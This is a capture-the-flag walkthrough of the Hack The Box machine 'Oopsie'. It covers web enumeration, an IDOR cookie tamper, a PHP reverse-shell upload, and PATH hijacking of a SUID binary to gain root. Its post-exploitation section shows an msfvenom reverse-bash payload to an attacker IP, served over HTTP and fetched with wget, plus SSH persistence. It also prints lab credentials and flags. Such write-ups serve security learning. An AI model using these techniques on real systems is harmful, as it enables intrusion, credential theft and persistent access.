Oopsie
Last updated
Was this helpful?
Last updated
Was this helpful?
HTB - Oopsie
nmap -T4 -p- -A 10.10.10.28
Nessus scan for fun Start with sudo /etc/init.d/nessusd start and go to https://kali:8834
Enumerate HTTP
Ran nikto -h http://10.10.10.28
Potential Exploit: CVE-2019-0211:
https://www.cvedetails.com/cve/CVE-2019-0211/
https://www.tenable.com/blog/cve-2019-0211-proof-of-concept-for-apache-root-privilege-escalation-vulnerability-published
https://github.com/cfreal/exploits/tree/master/CVE-2019-0211-apache
https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html
Ran dirbuster with http://10.10.10.28:80, wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
Dirbuster found login page at http://10.10.10.28/cdn-cgi/login/admin.php.
Credentials of admin:MEGACORP_4dm1n!! successfully signin.
Analysis with Burp Suite:
When going to accounts page:
Result: It might be possible to brute force the id values, and display the user value for another user, such as the super admin account. We can do this using Burp's Intruder module. Click CTRL + i to sent the request to Intruder.
We press Clear to remove the pre-populated payload positions, select the Id value (1), and click Add. Next, click on the Payloads tab.
We can generate a sequential list of 1-100 using a simple bash loop: for i in `seq 1 100`; do echo $i; done. Paste the output into the Payloads box.
ID 30 shows that super admin is 86575
Go to Uploads page and change Cookie: user=34322; role=admin to Cookie: user=86575; role=admin
Use to create payload:
Uploads directory found before by dirbuster: /uploads/. Upload the payload using the web portal.
Open up port to listen on:
Execute the php file: 10.10.10.28/uploads/shell.php Result: Meterpreter granted
User Flag: f2c74ee8db7983851ab2a96a44eb7981
Lateral Movement The website records are probably retrieved from a database, so it's a good idea to check for database connection information. Indeed, db.php does contain credentials, and we can su robert to move laterally.
Result:
Robert Password: M3g4C0rpUs3r!
Switch users:
Privilege Escalation
Attempt automatic Privilege Escalation
Result: No suggestions found
Run id as robert: uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker) reveals he is part of bugtracker
We can enumerate the filesystem to see if this group has any special access: find / -type f -group bugtracker 2>/dev/null
Run /usr/bin/bugtracker
Try strings /usr/bin/bugtracker
Results: We see that it calls the cat binary using this relative path instead of the absolute path. By creating a malicious cat, and modifying the path to include the current working directory, we should be able to abuse this misconfiguration, and escalate our privileges to root.
Let's add the current working directory to PATH, create the malicious binary and make it executable.
The relative cat command is now /bin/bash
Run /usr/bin/bugtracker and gain root.
/bin/cat root.txt
Root Flag: af13b0bee69f8a877c3faf667f7beacf
Post Exploitation
Create exploit to run as root; msfvenom -p cmd/unix/reverse_bash LHOST=10.10.15.117 LPORT=34847 -f raw > shell.sh
Host the new exploit for downloading: sudo python3 -m http.server 80
Download exploit onto target: wget 10.10.15.117/shell.sh
Open up port to listen on:
Run ./shell.sh as root
Upgrade to meterpreter
Allow access in at any time with SSH
And then in normal attacker prompt:
Find loot
